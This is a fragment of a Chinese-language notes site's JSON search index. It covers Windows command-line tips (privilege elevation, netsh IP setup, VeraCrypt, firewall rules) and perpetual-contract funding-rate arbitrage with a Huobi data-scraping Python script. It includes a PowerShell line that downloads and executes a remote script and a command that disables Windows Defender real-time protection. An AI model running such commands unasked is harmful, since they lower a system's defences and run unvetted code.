<p>\\u9759\\u6001\\u8def\\u7531\\u8bbe\\u7f6e.bat</p>\"},{\"location\":\"BAT/#_4\",\"title\":\"\\u8fdb\\u5165\\u4f11\\u7720\",\"text\":\"<p>Win10\\u4f3c\\u4e4e\\u6ca1\\u6709\\u4ece\\u9f20\\u6807\\u8fdb\\u5165\\u4f11\\u7720\\u800c\\u4e0d\\u662f\\u7761\\u7720\\u7684\\u65b9\\u6cd5\\uff0c\\u4f46\\u8c03\\u7528rundll32\\u8fdb\\u5165\\u4f11\\u7720\\u6a21\\u5f0f\\u8fd8\\u662f\\u53ef\\u4ee5\\u7684\\uff1a</p> <pre><code>rundll32.exe powrProf.dll,SetSuspendState\\n</code></pre>\"},{\"location\":\"BAT/#_5\",\"title\":\"\\u5feb\\u901f\\u8fdb\\u5165\\u7cfb\\u7edf\\u4ee3\\u7406\\u8bbe\\u7f6e\",\"text\":\"<p>@TAG \\u4ee3\\u7406</p> <p>From: https://stackoverflow.com/questions/3648366/is-it-possible-to-launch-ies-proxy-settings-dialog-from-the-command-line</p> <p>\\u4e0d\\u7528\\u542f\\u52a8<code>c:\\\\Program Files\\\\Internet Explorer\\\\iexplore.exe</code>\\uff0c\\u76f4\\u63a5Win+R\\u8f93\\u5165\\u8fd9\\u4e2a\\u5c31\\u80fd\\u6253\\u5f00IE\\u7684\\u8fde\\u63a5\\u8bbe\\u7f6e\\uff0c\\u65b9\\u4fbf\\u4fee\\u6539\\u4ee3\\u7406\\uff1a</p> <pre><code>inetcpl.cpl ,4\\n</code></pre>\"},{\"location\":\"BAT/#cmd_1\",\"title\":\"\\u5728\\u666e\\u901a\\u6743\\u9650cmd\\u4e2d\\u83b7\\u5f97\\u66f4\\u9ad8\\u6743\\u9650\",\"text\":\"<p>\\u6bd4\\u5982\\u4e0b\\u6587\\u7684\\u4fee\\u6539ip\\u7b49\\u64cd\\u4f5c\\u5c31\\u9700\\u8981\\u7ba1\\u7406\\u5458\\u6743\\u9650\\u3002\\u4f60\\u53ef\\u4ee5\\u5148\\u542f\\u52a8\\u4efb\\u52a1\\u7ba1\\u7406\\u5668\\uff0c\\u518d\\u8fd0\\u884c\\u4e00\\u4e2a\\u7ba1\\u7406\\u5458\\u6743\\u9650\\u7684cmd\\uff1b\\u73b0\\u5728\\u6709\\u4e86\\u66f4\\u52a0\\u76f4\\u63a5\\u7684\\u64cd\\u4f5c</p>\"},{\"location\":\"BAT/#1elevate\",\"title\":\"\\u65b9\\u68481\\uff1aelevate\",\"text\":\"<p>\\u4e0b\\u8f7d\\u5730\\u5740\\uff1ahttp://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z</p> <p>\\u7279\\u70b9\\uff1a\\u6709UAC\\u5f39\\u7a97\\uff0c\\u4f1a\\u542f\\u52a8\\u4e00\\u4e2a\\u65b0\\u7a97\\u53e3</p> <p>\\u4f8b\\u5b50\\uff1a</p> <pre><code>REM \\u542f\\u52a8\\u4e00\\u4e2a\\u7279\\u6743\\u7684cmd\\nelevate -k\\nREM \\u6267\\u884cdir\\u5e76\\u7b49\\u5f85\\u7ed3\\u675f\\nelevate -c -w dir\\n</code></pre>\"},{\"location\":\"BAT/#2sudo-for-windows-luke-sampson\",\"title\":\"\\u65b9\\u68482\\uff1aSudo for Windows \\u2013 Luke Sampson\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttps://helpdeskgeek.com/free-tools-review/5-windows-alternatives-linux-sudo-command/</p> <p>\\u5728powershell\\u4e2d\\u8f93\\u5165\\u4ee5\\u4e0b\\u547d\\u4ee4\\u5b8c\\u6210\\u5b89\\u88c5\\uff1a</p> <pre><code>iex (new-object net.webclient).downloadstring(\\u2018https://get.scoop.sh\\u2019)\\n\\nset-executionpolicy unrestricted -s cu -f\\n\\nscoop install sudo\\n</code></pre> <p>\\u7279\\u70b9\\uff1a\\u6bd4\\u8f83\\u6162\\uff0c\\u4ecd\\u7136\\u6709UAC\\u5f39\\u7a97\\uff0c\\u4e0d\\u4f1a\\u542f\\u52a8\\u4e00\\u4e2a\\u65b0\\u7a97\\u53e3</p>\"},{\"location\":\"BAT/#ip\",\"title\":\"\\u547d\\u4ee4\\u884c\\u914d\\u7f6eIP\",\"text\":\"<p>\\u9700\\u8981\\u7ba1\\u7406\\u5458\\u6743\\u9650\\uff0c\\u53c2\\u89c1\\u4e0a\\u65b9<code>\\u5728\\u666e\\u901a\\u6743\\u9650cmd\\u4e2d\\u83b7\\u5f97\\u66f4\\u9ad8\\u6743\\u9650</code></p> <p>\\u53c2\\u8003\\uff1ahttps://helpdeskgeek.com/networking/change-ip-address-and-dns-servers-using-the-command-prompt/</p> <p>\\u9996\\u5148\\u4f7f\\u7528<code>netsh interface ip show config</code>\\u67e5\\u770b\\u9002\\u914d\\u5668\\u7684\\u540d\\u79f0\\uff0c\\u5047\\u8bbe\\u9700\\u8981\\u914d\\u7f6e\\u7684\\u662f<code>\\u4ee5\\u592a\\u7f51</code></p>\"},{\"location\":\"BAT/#ipdns\",\"title\":\"\\u914d\\u7f6e\\u9759\\u6001IP\\u548cDNS\",\"text\":\"<pre><code>netsh interface ip set address name=\\\"\\u4ee5\\u592a\\u7f51\\\" static 192.168.1.101 255.255.255.0 192.168.1.1\\nnetsh interface ip set dns \\\"\\u4ee5\\u592a\\u7f51\\\" static 192.168.1.1\\n</code></pre>\"},{\"location\":\"BAT/#dhcp\",\"title\":\"\\u914d\\u7f6eDHCP\",\"text\":\"<pre><code>netsh interface ip set address name=\\\"\\u4ee5\\u592a\\u7f51\\\" dhcp\\nnetsh interface ip set dns \\\"\\u4ee5\\u592a\\u7f51\\\" dhcp\\n</code></pre>\"},{\"location\":\"BAT/#veracrypt\",\"title\":\"\\u547d\\u4ee4\\u884c\\u4f7f\\u7528VeraCrypt\",\"text\":\"<p>VeraCrypt\\u662fTrueCrypt\\u4ee3\\u66ff\\u8005\\uff0c\\u5176\\u547d\\u4ee4\\u884c\\u4f7f\\u7528\\u65b9\\u5f0f\\uff1a https://www.veracrypt.fr/en/Command%20Line%20Usage.html</p> <p>\\u4e0b\\u8f7dPortable\\u7248\\u672c\\u5373\\u53ef\\uff0c\\u4e0b\\u8f7d\\u5730\\u5740\\uff1ahttps://www.veracrypt.fr/en/Downloads.html</p>\"},{\"location\":\"BAT/#_6\",\"title\":\"\\u521b\\u5efa\\u4e00\\u4e2a\\u52a0\\u5bc6\\u76d8\",\"text\":\"<p>\\u4e0d\\u4e0e\\u7528\\u6237\\u4ea4\\u4e92\\u6240\\u4ee5\\u6307\\u5b9a<code>/q /s</code>\\uff0c\\u5177\\u4f53\\u6765\\u8bf4/q\\u8868\\u793a\\u4e0d\\u663e\\u793a\\u4e3b\\u7a97\\u53e3\\uff0c/s\\u8868\\u793a\\u4e0d\\u663e\\u793a\\u4efb\\u4f55\\u4ea4\\u4e92\\u7a97\\u53e3\\u4e5f\\u4e0d\\u62a5\\u9519\\uff0c\\u6ce8\\u610f\\u4f7f\\u7528\\u8fd9\\u4e24\\u4e2a\\u53c2\\u6570\\u540e\\u5373\\u4f7f\\u51fa\\u9519\\u4e5f\\u4e0d\\u4f1a\\u6709\\u4efb\\u4f55\\u63d0\\u9192</p> <p>\\u6587\\u4ef6\\u540dtest.hc\\uff0c\\u5927\\u5c0f100M\\uff0c\\u5bc6\\u7801\\u5fc5\\u987b20\\u4e2a\\u5b57\\u7b26\\u6216\\u4ee5\\u4e0a\\uff0c\\u52a0\\u5bc6\\u65b9\\u5f0f\\u4f7f\\u7528\\u6700\\u5feb\\u7684Serpent\\uff0c\\u4e3a\\u4e86\\u52a0\\u901f\\u6302\\u8f7d\\u8fc7\\u7a0b\\u6307\\u5b9a/pim 1</p> <pre><code>\\\"VeraCrypt Format.exe\\\" /create test.hc /password testtesttesttesttest /hash sha512 /encryption serpent /filesystem FAT /size 100M /pim 1 /force /silent\\n</code></pre> <p>\\u5982\\u679c\\u4e0d\\u6307\\u5b9a/pim\\u6765\\u964d\\u4f4e\\u8fed\\u4ee3\\u6b21\\u6570\\uff0c\\u6302\\u8f7d\\u65f6\\u9700\\u8981\\u8017\\u65f6\\u5341\\u79d2\\u4ee5\\u4e0a\\u65e0\\u6cd5\\u63a5\\u53d7\\uff0c\\u6240\\u4ee5\\u727a\\u7272\\u4e00\\u70b9\\u5b89\\u5168\\u6027\\u6765\\u6362\\u53d6\\u6027\\u80fd\\u3002\\u5173\\u4e8ePIM\\u7684\\u6587\\u6863\\uff1a https://www.veracrypt.fr/en/Personal%20Iterations%20Multiplier%20(PIM).html</p>\"},{\"location\":\"BAT/#_7\",\"title\":\"\\u6302\\u8f7d\\u52a0\\u5bc6\\u76d8\",\"text\":\"<p>\\u6302\\u8f7dtest.hc\\u81f3Z:\\u76d8\\uff0c\\u9700\\u8981\\u6307\\u5b9a\\u4e0e\\u521b\\u5efa\\u8fc7\\u7a0b\\u76f8\\u540c\\u7684/pim</p> <p>\\u8fd9\\u4e2a\\u547d\\u4ee4\\u4f1a\\u7acb\\u5373\\u8fd4\\u56de\\uff0c\\u4f46\\u771f\\u6b63\\u6302\\u8f7d\\u53ef\\u4ee5\\u8bbf\\u95eeZ\\u76d8\\u53ef\\u80fd\\u8fd8\\u9700\\u8981\\u7b49\\u5f85\\u6570\\u79d2</p> <pre><code>VeraCrypt.exe /quit /silent /volume test.hc /password testtesttesttesttest /pim 1 /l z\\n</code></pre>\"},{\"location\":\"BAT/#_8\",\"title\":\"\\u5378\\u8f7d\\u5df2\\u7ecf\\u6302\\u8f7d\\u7684\\u52a0\\u5bc6\\u76d8\",\"text\":\"<pre><code>VeraCrypt.exe /quit /silent /dismount z\\n</code></pre>\"},{\"location\":\"BAT/#windows-defender\",\"title\":\"\\u547d\\u4ee4\\u884c\\u5173\\u95edWindows Defender\",\"text\":\"<p>\\u5728\\u8fdb\\u884c\\u5927\\u91cfIO\\u64cd\\u4f5c\\u7684\\u65f6\\u5019\\uff08\\u5982\\u62f7\\u8d1d\\u5927\\u91cf\\u5c0f\\u6587\\u4ef6\\uff09\\uff0cWindows Defender\\u4f1a\\u4e25\\u91cd\\u62d6\\u6162\\u4efb\\u52a1\\u901f\\u5ea6</p> <p>\\u5728\\u7ba1\\u7406\\u5458\\u6743\\u9650\\u4e0bpowershell\\u53ef\\u4ee5\\u76f4\\u63a5\\u4e34\\u65f6\\u5173\\u95edWindows Defender\\u7684\\u5b9e\\u65f6\\u9632\\u62a4</p> <p>\\u642d\\u914delevate.exe\\u4f7f\\u7528\\u5373\\u53ef\\u5728Win+R\\u4e2d\\u5feb\\u901f\\u5173\\u95ed\\uff1a</p> <pre><code>elevate powershell -Command \\\"Set-MpPreference -DisableRealtimeMonitoring $true\\\"\\n</code></pre> <p>\\u8fd9\\u4e2a\\u4f3c\\u4e4e\\u5728\\u6700\\u65b0\\u7684Windows 2004\\u5df2\\u7ecf\\u5931\\u6548</p>\"},{\"location\":\"BAT/#windowsip\",\"title\":\"\\u547d\\u4ee4\\u884c\\u589e\\u52a0Windows\\u9632\\u706b\\u5899\\u89c4\\u5219\\u963b\\u65adIP\",\"text\":\"<p>@TAG \\u9632\\u706b\\u5899</p> <p>\\u5f53\\u7136\\u9700\\u8981\\u7ba1\\u7406\\u5458\\u6743\\u9650\\u7684cmd\\uff0c\\u80fd\\u4e00\\u884c\\u641e\\u5b9a\\u4f55\\u5fc5\\u5728\\u7e41\\u7410\\u7684\\u8bbe\\u7f6e\\u6b65\\u9aa4\\u4e2d\\u5468\\u65cb</p> <p>\\u53c2\\u8003 https://serverfault.com/questions/851922/blocking-ip-address-with-netsh-filter</p> <pre><code>netsh advfirewall firewall add rule name=\\\"IP Block\\\" ^\\n   dir=in interface=any action=block remoteip=198.51.100.108/32\\n</code></pre>\"},{\"location\":\"Bitcoin/\",\"title\":\"Bitcoin\",\"text\":\"<p>\\u6211\\u4e5f\\u6765\\u8bd5\\u6c34\\u5f53\\u4e2a\\u88ab\\u5272\\u7684\\u97ed\\u83dc\\u4e86</p>\"},{\"location\":\"Bitcoin/#_1\",\"title\":\"\\u5957\\u5229\\u5b9e\\u65f6\\u6536\\u76ca\\u7387\",\"text\":\"<p>\\u4ee5\\u4e0b\\u4e3a\\u5b9e\\u65f6\\u6536\\u76ca\\u7387\\u6570\\u636e\\uff08\\u6bcf\\u5929\\u66f4\\u65b0\\u4e00\\u6b21\\uff09\\uff1aCode</p> <p>\\u9884\\u6d4b\\u6536\\u76ca\\uff1a\\u4e0b\\u4e00\\u6b21\\u7ed3\\u7b97\\u6536\\u76ca\\uff08\\u786e\\u5b9a\\u503c\\uff09+\\u4e0b\\u4e0b\\u6b21\\u7ed3\\u7b97\\u6536\\u76ca\\uff08\\u9884\\u4f30\\u503c\\uff0c\\u968f\\u4ef7\\u5dee\\u6ce2\\u52a8\\uff09\\uff0c\\u5355\\u4f4d\\u4e3a\\u5343\\u5206\\u4e4b</p> <p>\\u6628\\u65e5\\u6536\\u76ca\\uff1a\\u6700\\u8fd1\\u4e09\\u6b21\\u7ed3\\u7b97\\u7684\\u7d2f\\u8ba1\\u6536\\u76ca</p> <p>7\\u65e5\\u5e74\\u5316\\uff1a\\u6700\\u8fd121\\u6b21\\u7ed3\\u7b97\\u5e73\\u5747\\u6536\\u76ca \\u5177\\u4f53\\u8ba1\\u7b97\\u89c1\\u4e0a\\u6587\\u8ba1\\u7b97\\u6536\\u76ca\\u7387</p> <p>\\u663e\\u793a\\u5168\\u90e8 \\u5173\\u6ce81 \\u5173\\u6ce82 \\u5173\\u6ce83 \\u5173\\u6ce84 \\u706b\\u5e01 \\u706b\\u5e01u \\u5e01\\u5b89 \\u5e01\\u5b89u OKex </p> <p>https://d.py3.io/btc.html</p>\"},{\"location\":\"Bitcoin/#_2\",\"title\":\"\\u671f\\u8d27\\u6c38\\u7eed\\u5408\\u7ea6\\u4ecb\\u7ecd\",\"text\":\"<p>\\u4ee5\\u706b\\u5e01\\u7684btc\\u5408\\u7ea6\\u4e3a\\u4f8b\\uff0c\\u4ea4\\u6613\\u5355\\u4f4d\\u6700\\u5c0f\\u662f\\u4e00\\u5f20100 USD\\u7f8e\\u5143\\uff08\\u5176\\u4ed6\\u5e01\\u79cd\\u90fd\\u662f10\\u7f8e\\u5143\\uff09</p> <p>\\u4ea4\\u6613\\u90fd\\u662f\\u57fa\\u4e8ebtc\\u62c5\\u4fdd\\uff0c\\u6323\\u5230\\u7684\\u4e5f\\u662fbtc</p> <p>\\u4e70\\u51651\\u5f20\\u770b\\u6da8 \\u505a\\u591a\\uff1a\\u76f8\\u5f53\\u4e8e\\u6309\\u7167\\u73b0\\u5728\\u7684\\u5408\\u7ea6\\u4ef7\\u683c\\u7528100USD\\u4e70\\u5165btc\\uff0c\\u4e5f\\u5c31\\u662f\\u501f\\u5230\\u4e86\\u5e01\\uff0c\\u671f\\u5f85\\u6bd4\\u7279\\u5e01\\u4ef7\\u683c\\u4e0a\\u6da8\\uff1b\\u627f\\u8bfa\\u672a\\u6765\\u4f1a\\u5356\\u51fabtc\\u5e73\\u4ed3\\u5f97\\u5230100USD\\u8fd4\\u8fd8\\uff0c\\u5728\\u5e73\\u4ed3\\u65f6\\u5982\\u679c\\u771f\\u7684\\u6da8\\u4e86\\uff0c\\u90a3\\u65f6\\u9700\\u8981\\u5356\\u51fa\\u7684btc\\u5c31\\u6bd4\\u5f53\\u65f6\\u5f00\\u4ed3\\u65f6\\u7684\\u6570\\u91cf\\u5c11\\uff0c\\u8fd9\\u4e2a\\u5dee\\u5f02\\u7684\\u90e8\\u5206\\u5c31\\u662f\\u6323\\u5230\\u7684btc\\uff1b\\u5982\\u679cbtc\\u4ef7\\u683c\\u4e00\\u76f4\\u4e0b\\u8dcc\\uff0c\\u8d26\\u6237\\u91cc\\u6240\\u6709\\u7684btc\\u5356\\u51fa\\u90fd\\u4e0d\\u591f100USD\\u5c31\\u7206\\u4ed3\\u4e86\\uff08\\u5b9e\\u9645\\u7206\\u4ed3\\u89c4\\u5219\\u66f4\\u590d\\u6742\\uff09</p> <p>\\u5356\\u51fa1\\u5f20\\u770b\\u8dcc \\u505a\\u7a7a\\uff1a\\u76f8\\u5f53\\u4e8e\\u6309\\u7167\\u73b0\\u5728\\u7684\\u5408\\u7ea6\\u4ef7\\u683c\\u5356\\u51fabtc\\u624b\\u4e0a\\u62ff\\u7740100USD\\uff0c\\u4e5f\\u5c31\\u662f\\u501f\\u5230\\u4e86\\u7f8e\\u5143\\uff08\\u7136\\u800c\\u5e76\\u4e0d\\u80fd\\u62ff\\u5230\\u7f8e\\u5143\\uff09\\uff0c\\u627f\\u8bfa\\u672a\\u6765\\u4f1a\\u628a\\u8fd9100\\u7f8e\\u5143\\u4e70\\u56debtc\\uff0c\\u5982\\u679c\\u6309\\u9884\\u671f\\u771f\\u7684\\u8dcc\\u4e86\\u5e73\\u4ed3\\u65f6\\u5c31\\u80fd\\u4e70\\u5230\\u66f4\\u591a\\u7684btc\\u3002\\u6ce8\\u610f\\u5230\\u4e70\\u5356\\u8fd9\\u4e2a\\u671f\\u8d27\\u90fd\\u662f\\u57fa\\u4e8ebtc\\u62c5\\u4fdd\\u7684\\uff0c\\u6240\\u4ee5\\u5982\\u679c\\u4e0d\\u52a0\\u6760\\u6746\\u505a\\u7a7a\\uff0c\\u5c31\\u5b8c\\u5168\\u7b49\\u4ef7\\u4e8e\\u5356\\u51fa\\u6301\\u6709\\u7684btc\\uff0c\\u4e0d\\u5b58\\u5728\\u7206\\u4ed3\\u98ce\\u9669\\uff0c\\u4e5f\\u5c31\\u662f\\u8bf4\\u60f3\\u771f\\u6b63\\u505a\\u7a7a\\uff08\\u82b1\\u4eba\\u6c11\\u5e01\\u8d4cbtc\\u8dcc\\uff09\\u5fc5\\u987b\\u4e0a\\u6760\\u6746</p>\"},{\"location\":\"Bitcoin/#_3\",\"title\":\"\\u6c38\\u7eed\\u5408\\u7ea6\\u8d44\\u91d1\\u8d39\\u7387\\u5957\\u5229\",\"text\":\"<p>\\u8fd9\\u672c\\u8d28\\u4e0a\\u662f\\u4e00\\u4e2a\\u5957\\u671f\\u4fdd\\u503c\\u7684\\u64cd\\u4f5c\\uff0c\\u662f\\u5957\\u5229\\uff0c\\u4e0d\\u662f\\u9ad8\\u9891\\u4ea4\\u6613\\u7b56\\u7565\\uff0c\\u5efa\\u4ed3\\u540e\\u65e0\\u9700\\u64cd\\u4f5c\\uff0c\\u53ea\\u9700\\u8981\\u89c2\\u5bdf\\u662f\\u5426\\u8d8b\\u52bf\\u53cd\\u8f6c\\u51b3\\u5b9a\\u5e73\\u4ed3\\u65f6\\u673a\\uff0c\\u4f8b\\u5982\\u5f53\\u4e03\\u65e5\\u5e74\\u5316\\u6536\\u76ca\\u4e3a\\u8d1f\\u65f6\\u5e73\\u4ed3\\u5356\\u51fa</p> <p>\\u671f\\u8d27\\u5408\\u7ea6\\u7684\\u4ea4\\u6613\\u4ef7\\u683c\\u4e3a\\u5565\\u4f1a\\u4e0e\\u73b0\\u8d27(BTC/USDT)\\u76f8\\u5dee\\u4e0d\\u5927\\u5462\\uff1f\\u56e0\\u4e3a\\u5b58\\u5728\\u6bcf8\\u4e2a\\u5c0f\\u65f6\\u7684\\u7ed3\\u7b97\\u673a\\u5236\\uff0c\\u5982\\u679c\\u5408\\u7ea6\\u4ef7\\u683c&gt;\\u73b0\\u8d27\\u4ef7\\u683c\\uff0c\\u8bf4\\u660e\\u591a\\u65b9\\u5360\\u4f18\\uff0c\\u5219\\u591a\\u65b9\\u5411\\u7a7a\\u65b9\\u652f\\u4ed8\\u8d44\\u91d1\\u8d39\\uff0c\\u59820.01%\\uff08\\u5177\\u4f53\\u6570\\u503c\\u4e0e\\u4ef7\\u5dee\\u76f8\\u5173\\uff09\\u3002\\u5b98\\u65b9\\u8bf4\\u660e</p> <p>\\u5957\\u5229\\u64cd\\u4f5c\\uff1a\\u7528usdt\\u4e70\\u5165\\u5e01\\u79cd\\uff0c\\u7acb\\u523b\\u4e0b\\u7a7a\\u5355\\u65e0\\u6760\\u6746\\u505a\\u7a7a\\u76f8\\u540c\\u6570\\u91cf\\u2014\\u2014\\u8fd9\\u6837\\u6211\\u4eec\\u4e00\\u4e70\\u4e00\\u5356\\u76f8\\u5f53\\u4e8e\\u6ca1\\u6709\\u4e70\\u5165\\uff0c\\u8d44\\u4ea7\\u51c0\\u503c\\u4e0d\\u53d7\\u5e01\\u4ef7\\u6ce2\\u52a8\\u5f71\\u54cd\\uff0c\\u53ea\\u662f\\u505a\\u7a7a\\u6536\\u53d6\\u8d44\\u91d1\\u8d39</p> <p>\\u5177\\u4f53\\u64cd\\u4f5c\\uff1a\\u5148\\u5728\\u6cd5\\u5e01\\u4ea4\\u6613\\u7528\\u4eba\\u6c11\\u5e01\\u4e70usdt\\uff0c\\u7136\\u540e\\u5728\\u5e01\\u5e01\\u4ea4\\u6613\\u4e70\\u516510.1usdt\\u7684\\u5e01\\uff08\\u591a\\u4e70\\u4e00\\u70b9\\u7ed9\\u6263\\u624b\\u7eed\\u8d39\\uff09\\uff0c\\u7acb\\u523b\\u8f6c\\u5165\\u6c38\\u7eed\\u5408\\u7ea6\\u8d26\\u6237\\u5f00\\u59cb1\\u500d\\u505a\\u7a7a\\u4e00\\u5f20\\uff0c\\u7136\\u540e\\u957f\\u671f\\u6301\\u6709\\u76f4\\u5230\\u8d8b\\u52bf\\u53cd\\u8f6c\\uff08\\u6301\\u7eed\\u652f\\u4ed8\\u8d44\\u91d1\\u8d39\\uff09\\u3002</p> <p>\\u4e0d\\u8981\\u770b\\u8d26\\u6237\\u7684\\u6536\\u76ca\\u7387\\uff0c\\u8fd9\\u4e2a\\u5355\\u5355\\u662f\\u505a\\u7a7a\\u672c\\u8eab\\u76f8\\u5f53\\u4e8e\\u6301\\u5e01\\u7684\\u6536\\u76ca\\u7387\\uff0c\\u6211\\u4eec\\u5e76\\u6ca1\\u6709\\u6301\\u5e01\\uff0c\\u6b63\\u786e\\u7684\\u6536\\u76ca\\u8ba1\\u7b97\\u5e94\\u8be5\\u662f\\u8d26\\u6237\\u6743\\u76ca\\uff08\\u5e01\\u7684\\u6570\\u91cf\\uff09*\\u5f53\\u524d\\u5e01\\u5e01\\u4ea4\\u6613\\u4ef7\\u683c\\uff0c\\u6536\\u76ca\\u7684\\u57fa\\u51c6\\u6bd4\\u8f83\\u5e94\\u8be5\\u662f\\u4f4e\\u98ce\\u9669\\u503a\\u5238\\u800c\\u4e0d\\u662f\\u9ad8\\u98ce\\u9669\\u6301\\u5e01</p> <p>\\u5386\\u53f2\\u6570\\u636e\\u67e5\\u8be2\\uff1a \\u8d44\\u91d1\\u8d39\\u7387 \\u7ed3\\u7b97\\u4ef7\\u683c</p> <p>\\u722c\\u53d6\\u4e00\\u4e0b\\u5386\\u53f2\\u6570\\u636e\\uff1a\\uff08\\u770b\\u8d77\\u6765ONT\\u5957\\u5229\\u6536\\u76ca\\u6700\\u9ad8\\uff0c\\u4e0d\\u8fc7\\u4e0a\\u7ebf\\u65f6\\u95f4\\u4e0d\\u591f\\u957f\\u4e0d\\u5177\\u6709\\u4ee3\\u8868\\u6027\\uff09</p> <p>\\u8ba1\\u7b97\\u6536\\u76ca\\u7387\\u65f6\\u4e0d\\u80fd\\u7b80\\u5355\\u5bf9\\u5355\\u6b21\\u6536\\u76ca\\u7387\\u6c42\\u548c\\uff0c\\u5e94\\u8be5\\u8003\\u8651\\u5e01\\u4ef7\\u6ce2\\u52a8\\u5bf9\\u6700\\u540e\\u5b9e\\u9645\\u6536\\u76ca\\u7684\\u5f71\\u54cd\\uff1a\\u5047\\u8bbe\\u6295\\u51651USD\\uff0c\\u8ba1\\u7b97\\u6bcf\\u6b21\\u7ed3\\u7b97\\u80fd\\u6536\\u5230\\u591a\\u5c11\\u5e01\\uff0c\\u7d2f\\u52a0\\u540e\\u6309\\u6700\\u8fd1\\u4e00\\u6b21\\u7ed3\\u7b97\\u4ef7\\u8ba1\\u7b97\\u8fd9\\u4e9b\\u5e01\\u503c\\u591a\\u5c11USD\\uff0c\\u9664\\u4ee5\\u7ed3\\u7b97\\u6b21\\u6570\\u4e58\\u4ee5\\u4e00\\u5e74\\u7684\\u7ed3\\u7b97\\u6b21\\u6570\\u5373\\u4e3a\\u5e74\\u5316\\u6536\\u76ca</p> <pre><code>import requests, os, sys, time\\nfrom decimal import Decimal\\nfrom functools import lru_cache\\n\\nsess = requests.session()\\n\\n@lru_cache()\\ndef getdata(coin, page=1):\\n    page = str(page)\\n    data = [Decimal(i['final_funding_rate']) for i in sess.get(\\\"https://futures.huobi.com/swap-order/x/v1/swap_funding_rate_page?contract_code=\\\"+coin+\\\"-USD&amp;page_index=\\\"+page+\\\"&amp;page_size=100\\\", headers={\\\"source\\\":\\\"web\\\"}).json()[\\\"data\\\"][\\\"settle_logs\\\"]]\\n    settle = [Decimal(i[\\\"instrument_info\\\"][0][\\\"settle_price\\\"]) for i in sess.get(\\\"https://futures.huobi.com/swap-order/x/v1/swap_delivery_detail?symbol=\\\"+coin+\\\"&amp;page_index=\\\"+page+\\\"&amp;page_size=100\\\", headers={\\\"source\\\":\\\"web\\\"}).json()[\\\"data\\\"][\\\"delivery\\\"]]\\n    return data, settle\\n\\ndef calc_fullprofit(coin):\\n    data, settle = [], []\\n    page = 1\\n    x = getdata(coin)\\n    while len(x[0]):\\n        data.extend(x[0])\\n        settle.extend(x[1])\\n        page+=1\\n        x = getdata(coin, page)\\n    profit_coin = sum([k/settle[i] for i,k in enumerate(data)])\\n    profit_usd = profit_coin*settle[0]\\n    return \\\"%.2f\\\"%(profit_usd/len(data)*3*365*100) + \\\"%\\\", len(data)\\n\\ndata=[]\\nfor i in \\\"BTC ETH EOS LINK BCH BSV LTC XRP ETC TRX ADA ATOM IOTA NEO ONT XLM XMR DASH ZEC\\\".split(\\\" \\\"):\\n    profit, length = calc_fullprofit(i)\\n    data.append([i, profit, length])\\ndata.sort(key=lambda i:i[1], reverse=True)\\nfor i,profit,length in data:\\n    print(\\\"\\\",i, profit, length,\\\"\\\", sep=\\\"|\\\")\\n</code></pre> <p>\\u98ce\\u9669\\uff1a From \\u6570\\u5b57\\u5e01\\u5957\\u5229\\u7b80\\u53f2\\uff08\\u4e0b\\uff09</p> <p>\\u9700\\u8981\\u6ce8\\u610f\\u7684\\u662f\\uff0c\\u8d44\\u91d1\\u8d39\\u7387\\u7684\\u5957\\u5229\\u66f4\\u52a0\\u9002\\u5408\\u8d8b\\u52bf\\u4e0a\\u6da8\\u7684\\u884c\\u60c5\\uff0c\\u800c\\u4e14\\u8981\\u7559\\u610f\\u884c\\u60c5\\u7684\\u53cd\\u8f6c\\u5bfc\\u81f4\\u8d39\\u7387\\u8d8b\\u52bf\\u7684\\u626d\\u8f6c\\uff0c\\u53ef\\u80fd\\u4f1a\\u5957\\u5229\\u5931\\u6548\\uff1b\\u8fd8\\u6709\\u5c31\\u662f\\u5bf9\\u4e8e\\u50cf18\\u5e74\\u7684\\u8d8b\\u52bf\\u4e0b\\u8dcc\\u884c\\u60c5\\uff0c\\u867d\\u7136\\u5957\\u5229\\u903b\\u8f91\\u4e00\\u6837\\uff0c\\u4f46\\u64cd\\u4f5c\\u4f1a\\u66f4\\u52a0\\u590d\\u6742\\uff0c\\u56e0\\u4e3a\\u8fd9\\u91cc\\u9762\\u8981\\u6d89\\u53ca\\u5230\\u6c38\\u7eed\\u5408\\u7ea6+\\u4ea4\\u5272\\u5408\\u7ea6\\u7684\\u7ec4\\u5408\\u5bf9\\u51b2\\uff0c\\u5360\\u7528\\u5e01\\u6570\\u4e5f\\u4f1a\\u7ffb\\u500d\\uff0c\\u4e5f\\u5c31\\u662f\\u8bf4\\u540c\\u6837\\u7684\\u5e01\\u91cf\\u5957\\u5229\\u5e74\\u5316\\u6536\\u76ca\\u7387\\u8981\\u62535\\u6298\\uff1b\\u6240\\u4ee5\\uff0c\\u597d\\u597d\\u73cd\\u60dc\\u8fd9\\u6765\\u4e4b\\u4e0d\\u6613\\u7684\\u597d\\u884c\\u60c5\\u5427\\u3002</p> <p>\\u4ea4\\u6613\\u671f\\u95f4\\u624b\\u901f\\u6162\\u6216\\u4ea4\\u6613\\u4e0d\\u6d3b\\u8dc3\\u4f1a\\u5bfc\\u81f4\\u4e70\\u5165\\u73b0\\u8d27\\u4ef7\\u683c\\u9ad8\\u4e8e\\u505a\\u7a7a\\u4ef7\\u683c\\uff0c\\u5bfc\\u81f4\\u989d\\u5916\\u7684\\u6210\\u672c\\u635f\\u8017\\uff1b\\u6301\\u6709\\u671f\\u95f4\\u7684\\u6700\\u5927\\u98ce\\u9669\\u5728\\u4e8e\\u7f8e\\u5143\\u8d2c\\u503c\\u7684\\u98ce\\u9669\\uff0c\\u4f8b\\u5982USDT 7.1\\u4e70\\u5165\\uff0c\\u6700\\u540e6.9\\u5356\\u51fa\\uff0c\\u5373\\u4e3a28.2\\u2030\\u4e8f\\u635f</p> 